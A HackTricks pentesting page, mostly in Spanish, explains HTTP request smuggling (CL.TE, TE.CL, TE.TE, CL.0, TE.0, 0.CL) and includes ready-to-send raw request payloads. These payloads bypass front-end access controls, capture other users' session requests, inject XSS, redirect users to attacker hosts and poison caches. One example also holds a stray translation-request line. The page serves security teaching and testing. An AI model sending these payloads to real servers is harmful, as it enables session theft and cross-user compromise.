HTTP Request Smuggling / HTTP Desync Attack

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Revisa el catálogo completo de HackTricks Training para las rutas de evaluación (ARTA/GRTA/AzRTA) y Linux Hacking Expert (LHE).

Apoya a HackTricks

Qué es

Esta vulnerabilidad ocurre cuando una desynchronization entre front-end proxies y el servidor back-end permite que un attacker envíe una HTTP request que será interpretada como una single request por los front-end proxies (load balance/reverse-proxy) y as 2 request por el servidor back-end.
Esto permite a un usuario modificar la siguiente request que llega al servidor back-end después de la suya.

Theory

RFC Specification (2161)

Si se recibe un mensaje con un campo de cabecera Transfer-Encoding y un campo de cabecera Content-Length, este último DEBE ser ignorado.

Content-Length

La cabecera de entidad Content-Length indica el tamaño del cuerpo de la entidad, en bytes, enviado al destinatario.

Transfer-Encoding: chunked

La cabecera Transfer-Encoding especifica la forma de codificación usada para transferir de forma segura el cuerpo de la carga útil al usuario.
Chunked significa que los datos grandes se envían en una serie de chunks

Reality

El Front-End (un load-balance / Reverse Proxy) procesa la cabecera content-length o la transfer-encoding y el servidor Back-end procesa la otra, provocando una desynchronization entre los 2 sistemas.
Esto puede ser muy crítico, ya que un attacker podrá enviar una request al reverse proxy que será interpretada por el servidor back-end como 2 requests diferentes. El peligro de esta técnica reside en que el servidor back-end interpretará la 2ª request inyectada como si viniera del siguiente cliente y la request real de ese cliente formará parte de la request inyectada.

Particularities

Recuerda que en HTTP un carácter de nueva línea está compuesto por 2 bytes:

  • Content-Length: Esta cabecera usa un número decimal para indicar el número de bytes del body de la request. Se espera que el body termine en el último carácter, no es necesaria una nueva línea al final de la request.
  • Transfer-Encoding: Esta cabecera usa en el body un número hexadecimal para indicar el número de bytes del siguiente chunk. El chunk debe terminar con una nueva línea, pero esta nueva línea no cuenta en el indicador de longitud. Este método de transferencia debe terminar con un chunk de tamaño 0 seguido de 2 nuevas líneas: 0
  • Connection: Según mi experiencia, se recomienda usar Connection: keep-alive en la primera request del request Smuggling.

Visible - Hidden

El principal problema con http/1.1 es que todas las requests van en el mismo socket TCP, así que si se encuentra una discrepancia entre 2 sistemas que reciben requests, es posible enviar una request que será tratada como 2 requests diferentes (o más) por el backend final (o incluso por sistemas intermedios).

This blog post propone nuevas formas de detectar desync attacks en un sistema que no serán marcadas por WAFs. Para ello presenta los comportamientos Visible vs Hidden. El objetivo en este caso es intentar encontrar discrepancias en la respuesta usando técnicas que podrían estar causando desyncs sin explotar realmente nada.

Por ejemplo, enviar una request con la cabecera host normal y una cabecera “ host“, si el backend se queja de esta request (quizá porque el valor de “ host“ es incorrecto) posiblemente significa que el front-end no vio la cabecera “ host“ mientras que el backend final sí la utilizó, lo que es muy probablemente una desync entre front-end y backend.

Esto sería una discrepancia Hidden-Visible.

Si el front-end hubiera tenido en cuenta la cabecera “ host“ pero el front-end no, esto podría haber sido una situación Visible-Hidden.

Por ejemplo, esto permitió descubrir desyncs entre AWS ALB como front-end e IIS como backend. Esto fue porque cuando se envió “Host: foo/bar”, el ALB devolvió 400, Server; awselb/2.0, pero cuando se envió “Host : foo/bar”, devolvió 400, Server: Microsoft-HTTPAPI/2.0, indicando que el backend estaba enviando la respuesta. Esto es una situación Hidden-Vissible (H-V).

Ten en cuenta que esta situación no está corregida en AWS, pero se puede prevenir configurando routing.http.drop_invalid_header_fields.enabled y routing.http.desync_mitigation_mode = strictest.

Basic Examples

Tip

When trying to exploit this with Burp Suite disable Update Content-Length and Normalize HTTP/1 line endings in the repeater because some gadgets abuse newlines, carriage returns and malformed content-lengths.

Los ataques HTTP request smuggling se crean enviando requests ambiguas que explotan discrepancias en cómo los servidores front-end y back-end interpretan las cabeceras Content-Length (CL) y Transfer-Encoding (TE). Estos ataques pueden manifestarse de distintas formas, principalmente como CL.TE, TE.CL y TE.TE. Cada tipo representa una combinación única de cómo los servidores front-end y back-end priorizan estas cabeceras. Las vulnerabilidades surgen porque los servidores procesan la misma request de formas diferentes, lo que lleva a resultados inesperados y potencialmente maliciosos.

Basic Examples of Vulnerability Types

https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104

Tip

A la tabla anterior deberías añadir la técnica TE.0, igual que la técnica CL.0 pero usando Transfer Encoding.

Vulnerability CL.TE (Content-Length usado por Front-End, Transfer-Encoding usado por Back-End)

  • Front-End (CL): Procesa la request basándose en la cabecera Content-Length.

  • Back-End (TE): Procesa la request basándose en la cabecera Transfer-Encoding.

  • Attack Scenario:

  • El attacker envía una request cuyo valor de la cabecera Content-Length no coincide con la longitud real del contenido.

  • El servidor front-end reenvía la request completa al back-end, basándose en el valor de Content-Length.

  • El servidor back-end procesa la request como chunked debido a la cabecera Transfer-Encoding: chunked, interpretando los datos restantes como una request separada posterior.

  • Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x

Vulnerability TE.CL (Transfer-Encoding usado por Front-End, Content-Length usado por Back-End)

  • Front-End (TE): Procesa la request basándose en la cabecera Transfer-Encoding.

  • Back-End (CL): Procesa la request basándose en la cabecera Content-Length.

  • Attack Scenario:

  • El attacker envía una request chunked donde el tamaño del chunk (7b) y la longitud real del contenido (Content-Length: 4) no coinciden.

  • El servidor front-end, respetando Transfer-Encoding, reenvía la request completa al back-end.

  • El servidor back-end, respetando Content-Length, procesa solo la parte inicial de la request (7b bytes), dejando el resto como parte de una request posterior no intencionada.

  • Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

Vulnerability TE.TE (Transfer-Encoding usado por ambos, con obfuscation)

  • Servers: Ambos soportan Transfer-Encoding, pero se puede engañar a uno para que lo ignore mediante obfuscation.

  • Attack Scenario:

  • El attacker envía una request con cabeceras Transfer-Encoding obfuscadas.

  • Dependiendo de qué servidor (front-end o back-end) no reconozca la obfuscation, se puede explotar una vulnerabilidad CL.TE o TE.CL.

  • La parte no procesada de la request, tal como la ve uno de los servidores, pasa a formar parte de una request posterior, lo que lleva al smuggling.

  • Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

Escenario CL.CL (Content-Length usado por Front-End y Back-End)

  • Ambos servidores procesan la request basándose únicamente en la cabecera Content-Length.
  • Este escenario normalmente no lleva a smuggling, ya que hay alineación en cómo ambos servidores interpretan la longitud de la request.
  • Example:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Normal Request

Escenario CL.0

  • Se refiere a escenarios donde la cabecera Content-Length está presente y tiene un valor distinto de cero, indicando que el body de la request tiene contenido. El back-end ignora la cabecera Content-Length (que se trata como 0), pero el front-end la analiza.
  • Es crucial para entender y crear ataques de smuggling, ya que influye en cómo los servidores determinan el final de una request.
  • Example:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Non-Empty Body

Escenario TE.0

  • Como el anterior pero usando TE
  • Technique reported here
  • Example:
OPTIONS / HTTP/1.1
Host: {HOST}
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Transfer-Encoding: chunked
Connection: keep-alive

50
GET <http://our-collaborator-server/> HTTP/1.1
x: X
0
EMPTY_LINE_HERE
EMPTY_LINE_HERE

0.CL Scenario

En una situación 0.CL una request se envía con un Content-Length como:

GET /Logon HTTP/1.1
Host: <redacted>
Content-Length:
7

GET /404 HTTP/1.1
X: Y

Y el front-end no tiene en cuenta el Content-Length, así que solo envía la primera request al backend (hasta el 7 en el ejemplo). Sin embargo, el backend ve el Content-Length y espera un body que nunca llega porque el front-end ya está esperando la response.

Sin embargo, si hay una request que es posible enviar al backend y que recibe respuesta antes de recibir el body de la request, este deadlock no ocurrirá. En IIS, por ejemplo, esto pasa al enviar requests a palabras prohibidas como /con (consulta la documentation), de esta manera, la request inicial recibirá respuesta directamente y la segunda request contendrá la request de la victim como:

GET / HTTP/1.1
X: yGET /victim HTTP/1.1
Host: <redacted>

Esto es útil para provocar un desync, pero no tendrá ningún impacto hasta ahora.

Sin embargo, el post ofrece una solución para esto convirtiendo un ataque 0.CL en un CL.0 con un doble desync.

Romper el servidor web

Esta técnica también es útil en escenarios donde es posible romper un servidor web mientras se lee el HTTP data inicial pero sin cerrar la conexión. De esta forma, el body de la HTTP request se considerará la siguiente HTTP request.

Por ejemplo, como se explica en este writeup, en Werkzeug era posible enviar algunos caracteres Unicode y eso hacía que el servidor se rompiera. Sin embargo, si la HTTP connection se creó con el header Connection: keep-alive, el body de la request no se leerá y la connection seguirá abierta, así que el body de la request se tratará como la siguiente HTTP request.

Forzar mediante hop-by-hop headers

Abusando de hop-by-hop headers podrías indicar al proxy que borre el header Content-Length o Transfer-Encoding, de forma que sea posible abusar de un HTTP request smuggling.

Connection: Content-Length

Para más información sobre hop-by-hop headers visita:

hop-by-hop headers

Encontrar HTTP Request Smuggling

Identificar vulnerabilidades de HTTP request smuggling a menudo se puede lograr usando técnicas de timing, que se basan en observar cuánto tarda el server en responder a requests manipuladas. Estas técnicas son especialmente útiles para detectar vulnerabilidades CL.TE y TE.CL. Además de estos métodos, existen otras estrategias y herramientas que se pueden usar para encontrar estas vulnerabilidades:

Encontrar vulnerabilidades CL.TE usando técnicas de timing

  • Method:

  • Envía un request que, si la application es vulnerable, hará que el back-end server espere datos adicionales.

  • Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0
  • Observation:

  • El front-end server procesa el request basándose en Content-Length y corta el mensaje prematuramente.

  • El back-end server, esperando un mensaje chunked, espera el siguiente chunk que nunca llega, causando un retraso.

  • Indicators:

  • Timeouts o grandes retrasos en la respuesta.

  • Recibir un error 400 Bad Request del back-end server, a veces con información detallada del server.

Encontrar vulnerabilidades TE.CL usando técnicas de timing

  • Method:

  • Envía un request que, si la application es vulnerable, hará que el back-end server espere datos adicionales.

  • Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X
  • Observation:
  • El front-end server procesa el request basándose en Transfer-Encoding y reenvía todo el mensaje.
  • El back-end server, esperando un mensaje basado en Content-Length, espera datos adicionales que nunca llegan, causando un retraso.

Otros métodos para encontrar vulnerabilities

  • Differential Response Analysis:
  • Envía versiones ligeramente variadas de un request y observa si las respuestas del server difieren de una forma inesperada, indicando una discrepancia de parsing.
  • Using Automated Tools:
  • Herramientas como la extensión ‘HTTP Request Smuggler’ de Burp Suite pueden probar automáticamente estas vulnerabilities enviando varias formas de requests ambiguos y analizando las respuestas.
  • Content-Length Variance Tests:
  • Envía requests con valores de Content-Length variables que no coincidan con la longitud real del contenido y observa cómo maneja el server esas discrepancias.
  • Transfer-Encoding Variance Tests:
  • Envía requests con headers Transfer-Encoding ofuscados o malformados y monitoriza cómo responden de forma diferente el front-end y el back-end server ante esas manipulaciones.

El header Expect: 100-continue

Comprueba cómo este header puede ayudar a explotar un http desync en:

Special Http Headers

Pruebas de vulnerabilidad de HTTP Request Smuggling

Después de confirmar la eficacia de las técnicas de timing, es crucial verificar si los client requests pueden ser manipulados. Un método sencillo es intentar poison your requests; por ejemplo, hacer que un request a / devuelva una respuesta 404. Los ejemplos CL.TE y TE.CL discutidos anteriormente en Basic Examples demuestran cómo poison a client’s request para provocar una respuesta 404, a pesar de que el client intenta acceder a un recurso diferente.

Key Considerations

Al probar vulnerabilidades de request smuggling interfiriendo con otros requests, ten en cuenta:

  • Distinct Network Connections: Los requests “attack” y “normal” deben enviarse por conexiones de red separadas. Usar la misma conexión para ambos no valida la presencia de la vulnerability.
  • Consistent URL and Parameters: Intenta usar URLs y nombres de parámetros idénticos para ambos requests. Las applications modernas a menudo enrutan requests a back-end servers específicos según la URL y los parameters. Hacer que coincidan aumenta la probabilidad de que ambos requests sean procesados por el mismo server, un requisito previo para un ataque exitoso.
  • Timing and Racing Conditions: El request “normal”, destinado a detectar interferencia del request “attack”, compite contra otros requests concurrentes de la application. Por lo tanto, envía el request “normal” inmediatamente después del request “attack”. Las applications muy ocupadas pueden requerir múltiples intentos para confirmar la vulnerability de forma concluyente.
  • Load Balancing Challenges: Los front-end servers que actúan como load balancers pueden distribuir requests entre varios back-end systems. Si los requests “attack” y “normal” terminan en systems diferentes, el ataque no tendrá éxito. Este aspecto de load balancing puede requerir varios intentos para confirmar una vulnerability.
  • Unintended User Impact: Si tu ataque afecta inadvertidamente el request de otro usuario (no el request “normal” que enviaste para la detección), esto indica que tu ataque influyó en otro usuario de la application. Las pruebas continuas podrían interrumpir a otros users, lo que exige un enfoque cauteloso.

Distinguir artefactos de HTTP/1.1 pipelining vs request smuggling genuino

La reutilización de conexión (keep-alive) y el pipelining pueden producir fácilmente ilusiones de “smuggling” en herramientas de prueba que envían múltiples requests en el mismo socket. Aprende a separar artefactos inocuos del lado del client de desync reales del lado del server.

Por qué el pipelining crea falsos positivos clásicos

HTTP/1.1 reutiliza una sola conexión TCP/TLS y concatena requests y responses en el mismo stream. En pipelining, el client envía múltiples requests seguidos y depende de responses en orden. Un falso positivo común es reenviar un payload CL.0 malformado dos veces en una sola conexión:

POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: Y

Por favor, proporciona el contenido que quieres que traduzca.

HTTP/1.1 200 OK
Content-Type: text/html

HTTP/1.1 200 OK
Content-Type: text/plain

User-agent: *
Disallow: /settings

Si el servidor ignoró el Content_Length malformado, no hay desync FE↔BE. Con reuse, tu cliente en realidad envió este byte-stream, que el servidor interpretó como dos requests independientes:

POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: YPOST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: Y

Impacto: ninguno. Solo desincronizaste tu client del framing del server.

Tip

Burp modules that depend on reuse/pipelining: Turbo Intruder with requestsPerConnection>1, Intruder with “HTTP/1 connection reuse”, Repeater “Send group in sequence (single connection)” or “Enable connection reuse”.

Litmus tests: pipelining or real desync?

  1. Disable reuse and re-test
  • In Burp Intruder/Repeater, turn off HTTP/1 reuse and avoid “Send group in sequence”.
  • In Turbo Intruder, set requestsPerConnection=1 and pipeline=False.
  • If the behavior disappears, it was likely client-side pipelining, unless you’re dealing with connection-locked/stateful targets or client-side desync.
  1. HTTP/2 nested-response check
  • Send an HTTP/2 request. If the response body contains a complete nested HTTP/1 response, you’ve proven a backend parsing/desync bug instead of a pure client artifact.
  1. Partial-requests probe for connection-locked front-ends
  • Some FEs only reuse the upstream BE connection if the client reused theirs. Use partial-requests to detect FE behavior that mirrors client reuse.
  • See PortSwigger “Browser‑Powered Desync Attacks” for the connection-locked technique.
  1. State probes
  • Look for first- vs subsequent-request differences on the same TCP connection (first-request routing/validation).
  • Burp “HTTP Request Smuggler” includes a connection‑state probe that automates this.
  1. Visualize the wire
  • Use the Burp “HTTP Hacker” extension to inspect concatenation and message framing directly while experimenting with reuse and partial requests.

Connection‑locked request smuggling (reuse-required)

Some front-ends only reuse the upstream connection when the client reuses theirs. Real smuggling exists but is conditional on client-side reuse. To distinguish and prove impact:

  • Prove the server-side bug
  • Use the HTTP/2 nested-response check, or
  • Use partial-requests to show the FE only reuses upstream when the client does.
  • Show real impact even if direct cross-user socket abuse is blocked:
  • Cache poisoning: poison shared caches via the desync so responses affect other users.
  • Internal header disclosure: reflect FE-injected headers (e.g., auth/trust headers) and pivot to auth bypass.
  • Bypass FE controls: smuggle restricted paths/methods past the front-end.
  • Host-header abuse: combine with host routing quirks to pivot to internal vhosts.
  • Operator workflow
  • Reproduce with controlled reuse (Turbo Intruder requestsPerConnection=2, or Burp Repeater tab group → “Send group in sequence (single connection)”).
  • Then chain to cache/header-leak/control-bypass primitives and demonstrate cross-user or authorization impact.

See also connection‑state attacks, which are closely related but not technically smuggling:

{{#ref}} ../http-connection-request-smuggling.md {{#endref}}

Client‑side desync constraints

If you’re targeting browser-powered/client-side desync, the malicious request must be sendable by a browser cross-origin. Header obfuscation tricks won’t work. Focus on primitives reachable via navigation/fetch, and then pivot to cache poisoning, header disclosure, or front-end control bypass where downstream components reflect or cache responses.

For background and end-to-end workflows:

Browser HTTP Request Smuggling

Tooling to help decide

  • HTTP Hacker (Burp BApp Store): exposes low-level HTTP behavior and socket concatenation.
  • “Smuggling or pipelining?” Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
  • Turbo Intruder: precise control over connection reuse via requestsPerConnection.
  • Burp HTTP Request Smuggler: includes a connection‑state probe to spot first‑request routing/validation.

Note

Treat reuse-only effects as non-issues unless you can prove server-side desync and attach concrete impact (poisoned cache artifact, leaked internal header enabling privilege bypass, bypassed FE control, etc.).

Abusing HTTP Request Smuggling

Circumventing Front-End Security via HTTP Request Smuggling

Sometimes, front-end proxies enforce security measures, scrutinizing incoming requests. However, these measures can be circumvented by exploiting HTTP Request Smuggling, allowing unauthorized access to restricted endpoints. For instance, accessing /admin might be prohibited externally, with the front-end proxy actively blocking such attempts. Nonetheless, this proxy may neglect to inspect embedded requests within a smuggled HTTP request, leaving a loophole for bypassing these restrictions.

Consider the following examples illustrating how HTTP Request Smuggling can be used to bypass front-end security controls, specifically targeting the /admin path which is typically guarded by the front-end proxy:

CL.TE Example

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=

En el ataque CL.TE, el header Content-Length se aprovecha para la request inicial, mientras que la request incrustada posterior utiliza el header Transfer-Encoding: chunked. El proxy de front-end procesa la request POST inicial pero no logra inspeccionar la request GET /admin incrustada, lo que permite acceso no autorizado al path /admin.

TE.CL Example

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

Por el contrario, en el ataque TE.CL, la solicitud inicial POST usa Transfer-Encoding: chunked, y la solicitud incrustada posterior se procesa según el encabezado Content-Length. Al igual que en el ataque CL.TE, el proxy del front-end pasa por alto la solicitud GET /admin smuggled, otorgando inadvertidamente acceso a la ruta restringida /admin.

Revelando la reescritura de solicitudes del front-end

Las aplicaciones a menudo emplean un servidor front-end para modificar las solicitudes entrantes antes de pasarlas al servidor back-end. Una modificación típica consiste en añadir encabezados, como X-Forwarded-For: <IP of the client>, para reenviar la IP del cliente al back-end. Entender estas modificaciones puede ser crucial, ya que podría revelar formas de bypassar protecciones o descubrir información o endpoints ocultos.

Para investigar cómo un proxy altera una solicitud, localiza un parámetro POST que el back-end refleje en la respuesta. Luego, construye una solicitud, usando este parámetro al final, similar a la siguiente:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=

En esta estructura, los componentes de la solicitud posteriores se añaden después de search=, que es el parámetro reflejado en la respuesta. Esta reflexión expondrá los encabezados de la solicitud posterior.

Es importante alinear el encabezado Content-Length de la solicitud anidada con la longitud real del contenido. Se aconseja empezar con un valor pequeño e incrementarlo gradualmente, ya que un valor demasiado bajo truncará los datos reflejados, mientras que uno demasiado alto puede hacer que la solicitud falle.

Esta técnica también es aplicable en el contexto de una vulnerabilidad TE.CL, pero la solicitud debe terminar con search=\r\n0. Independientemente de los caracteres de nueva línea, los valores se añadirán al parámetro search.

Este método sirve principalmente para entender las modificaciones de la solicitud realizadas por el proxy front-end, realizando esencialmente una investigación autodirigida.

Capturing other users’ requests

Es factible capturar las solicitudes del siguiente usuario añadiendo una solicitud específica como valor de un parámetro durante una operación POST. Así es como se puede hacer:

Al añadir la siguiente solicitud como valor de un parámetro, puedes almacenar la solicitud del siguiente cliente:

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=

En este escenario, el parámetro comment está destinado a almacenar el contenido dentro de la sección de comentarios de una publicación en una página de acceso público. En consecuencia, el contenido de la solicitud posterior aparecerá como un comentario.

Sin embargo, esta técnica tiene limitaciones. Generalmente, solo captura datos hasta el delimitador del parámetro usado en la solicitud smuggled. Para envíos de formularios codificados en URL, este delimitador es el carácter &. Esto significa que el contenido capturado de la solicitud del usuario víctima se detendrá en el primer &, que incluso puede formar parte de la cadena de consulta.

Además, vale la pena señalar que este enfoque también es viable con una vulnerabilidad TE.CL. En tales casos, la solicitud debe terminar con search=\r\n0. Independientemente de los caracteres de nueva línea, los valores se añadirán al parámetro de búsqueda.

Using HTTP request smuggling to exploit reflected XSS

HTTP Request Smuggling puede aprovecharse para explotar páginas web vulnerables a Reflected XSS, ofreciendo ventajas significativas:

  • No se requiere interacción con los usuarios objetivo.
  • Permite explotar XSS en partes de la solicitud que normalmente son inalcanzables, como los encabezados HTTP.

En escenarios donde un sitio web es susceptible a Reflected XSS a través del encabezado User-Agent, el siguiente payload demuestra cómo explotar esta vulnerabilidad:

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=

Este payload está estructurado para explotar la vulnerabilidad mediante:

  1. Iniciar una solicitud POST, aparentemente normal, con un encabezado Transfer-Encoding: chunked para indicar el inicio del smuggling.
  2. Continuar con un 0, marcando el final del cuerpo del mensaje chunked.
  3. Luego, se introduce una solicitud GET smuggleada, donde el encabezado User-Agent se inyecta con un script, <script>alert(1)</script>, desencadenando el XSS cuando el servidor procesa esta solicitud posterior.

Al manipular User-Agent mediante smuggling, el payload elude las restricciones normales de las solicitudes, explotando así la vulnerabilidad Reflected XSS de una forma no estándar pero efectiva.

HTTP/0.9

Caution

En caso de que el contenido del usuario se refleje en una respuesta con un Content-type como text/plain, evitando la ejecución del XSS. Si el servidor soporta HTTP/0.9, ¡podría ser posible eludir esto!

La versión HTTP/0.9 era anterior a la 1.0 y solo usa verbos GET y no responde con headers, solo el body.

En this writeup, esto se abusó con request smuggling y un endpoint vulnerable que responderá con la entrada del usuario para smugglear una solicitud con HTTP/0.9. El parámetro que se reflejará en la respuesta contenía una respuesta HTTP/1.1 falsa (con headers y body), por lo que la respuesta contendrá código JS ejecutable válido con un Content-Type de text/html.

Explotando redirecciones on-site con HTTP Request Smuggling

Las aplicaciones a menudo redirigen de una URL a otra usando el hostname del encabezado Host en la URL de redirección. Esto es común con web servers como Apache e IIS. Por ejemplo, solicitar una carpeta sin una barra final resulta en una redirección para incluir la barra:

GET /home HTTP/1.1
Host: normal-website.com

Resultados en:

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

Aunque parece inofensivo, este comportamiento puede manipularse usando HTTP request smuggling para redirigir a los usuarios a un sitio externo. Por ejemplo:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

Esta request smuggled podría hacer que la siguiente request de usuario procesada se redirija a un sitio web controlado por un atacante:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

Resultados en:

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

En este escenario, la solicitud de un usuario para un archivo JavaScript es secuestrada. El atacante puede comprometer potencialmente al usuario sirviendo JavaScript malicioso en respuesta.

Explotando Web Cache Poisoning mediante HTTP Request Smuggling

Web cache poisoning puede ejecutarse si cualquier componente de la front-end infrastructure cachea contenido, normalmente para mejorar el rendimiento. Al manipular la respuesta del servidor, es posible poison the cache.

Anteriormente, observamos cómo las respuestas del servidor podían alterarse para devolver un error 404 (consulta Basic Examples). De manera similar, es posible engañar al servidor para que entregue contenido de /index.html en respuesta a una solicitud de /static/include.js. En consecuencia, el contenido de /static/include.js se reemplaza en el cache por el de /index.html, dejando /static/include.js inaccesible para los usuarios, lo que podría conducir a un Denial of Service (DoS).

Esta técnica se vuelve particularmente potente si se descubre una vulnerabilidad de Open Redirect o si existe un on-site redirect to an open redirect. Tales vulnerabilidades pueden explotarse para reemplazar el contenido cacheado de /static/include.js con un script bajo el control del atacante, habilitando esencialmente un ataque de Cross-Site Scripting (XSS) a gran escala contra todos los clientes que soliciten el /static/include.js actualizado.

A continuación se muestra una ilustración de la explotación de cache poisoning combinada con un on-site redirect to open redirect. El objetivo es alterar el contenido del cache de /static/include.js para servir código JavaScript controlado por el atacante:

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

Note the embedded request targeting /post/next?postId=3. This request will be redirected to /post?postId=4, utilizing the Host header value to determine the domain. By altering the Host header, the attacker can redirect the request to their domain (on-site redirect to open redirect).

After successful socket poisoning, a GET request for /static/include.js should be initiated. This request will be contaminated by the prior on-site redirect to open redirect request and fetch the content of the script controlled by the attacker.

Subsequently, any request for /static/include.js will serve the cached content of the attacker’s script, effectively launching a broad XSS attack.

Using HTTP request smuggling to perform web cache deception

What is the difference between web cache poisoning and web cache deception?

  • In web cache poisoning, the attacker causes the application to store some malicious content in the cache, and this content is served from the cache to other application users.
  • In web cache deception, the attacker causes the application to store some sensitive content belonging to another user in the cache, and the attacker then retrieves this content from the cache.

The attacker crafts a smuggled request that fetches sensitive user-specific content. Consider the following example:

`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
`` \ `0`\ ``\
`GET /private/messages HTTP/1.1`\
`Foo: X`

Si esta petición smuggleada envenena una entrada de caché destinada a contenido estático (p. ej., /someimage.png), los datos sensibles de la víctima de /private/messages podrían quedar almacenados en caché bajo la entrada de caché del contenido estático. En consecuencia, el atacante podría recuperar potencialmente esos datos sensibles almacenados en caché.

Abusing TRACE via HTTP Request Smuggling

En este post se sugiere que, si el servidor tiene el método TRACE habilitado, podría ser posible abusar de él con un HTTP Request Smuggling. Esto se debe a que este método reflejará cualquier header enviado al servidor como parte del body de la response. Por ejemplo:

TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>

Responderá con algo como:

HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115

TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx

Un ejemplo de cómo abusar de este comportamiento sería smuggle primero una petición HEAD. Esta petición responderá solo con los headers de una petición GET (Content-Type entre ellos). Y smuggle inmediatamente después del HEAD una petición TRACE, que reflejará los datos enviados.
Como la respuesta del HEAD contendrá un header Content-Length, la respuesta de la petición TRACE será tratada como el cuerpo de la respuesta del HEAD, reflejando por lo tanto datos arbitrarios en la respuesta.
Esta respuesta será enviada a la siguiente petición sobre la conexión, así que esto podría usarse en un archivo JS cacheado, por ejemplo, para inyectar código JS arbitrario.

Abusing TRACE via HTTP Response Splitting

Continúa siguiendo this post y se sugiere otra forma de abusar del método TRACE. Como se comentó, smuggle una petición HEAD y una petición TRACE; es posible controlar algunos datos reflejados en la respuesta a la petición HEAD. La longitud del cuerpo de la petición HEAD está básicamente indicada en el header Content-Length y se forma a partir de la respuesta a la petición TRACE.

